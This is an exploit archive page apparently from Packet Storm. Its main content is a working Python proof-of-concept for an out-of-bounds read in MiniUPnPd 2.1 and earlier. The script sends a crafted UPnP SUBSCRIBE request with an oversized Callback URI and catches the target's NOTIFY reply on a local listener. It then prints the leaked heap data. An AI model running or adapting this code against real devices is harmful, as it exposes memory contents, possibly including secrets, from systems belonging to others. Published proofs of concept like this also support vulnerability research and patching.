exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MiniUPnPd 2.1 Out-Of-Bounds Read

MiniUPnPd 2.1 Out-Of-Bounds Read
Posted Jan 29, 2019
Authored by b1ack0wl

MiniUPnPd versions 2.1 and below suffer from an out-of-bounds read vulnerability.

tags | exploit
SHA-256 | 2aaa71d09817976536dfc7a03db1bc67d6ef7fb15b152cb8ac3c8251862a3b07

MiniUPnPd 2.1 Out-Of-Bounds Read

Change Mirror Download
#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc

import requests, socketserver, argparse, sys

class OK_HTTP_Response(socketserver.StreamRequestHandler):
def handle(self):
self.request.settimeout(self.server.timeout)
self.server.notify = b""
try:
line = self.rfile.read(1)
while len(line) > 0:
self.server.notify += line
line = self.rfile.read(1)
except:
pass
self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")

def splash():
print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
print("[*] by b1ack0wl")

def leak_data(args):
leak_size = ((1024*args.leak_amount)+526)
callback_uri= "A" * leak_size
headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
server.timeout = args.timeout
print("[+] Sending request...")
requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
server.handle_request()
leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
print("[+] Leaked Data: {}".format(leaked_data))
print("[+] Leaked Length: {}".format(len(leaked_data)))
print("[+] Done")

def main():
poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
args = poc_parser.parse_args()
arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
for i in arguments:
if getattr(args, i) == None:
poc_parser.print_help()
sys.exit(1)
leak_data(args)

if __name__ == '__main__':
splash()
main()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close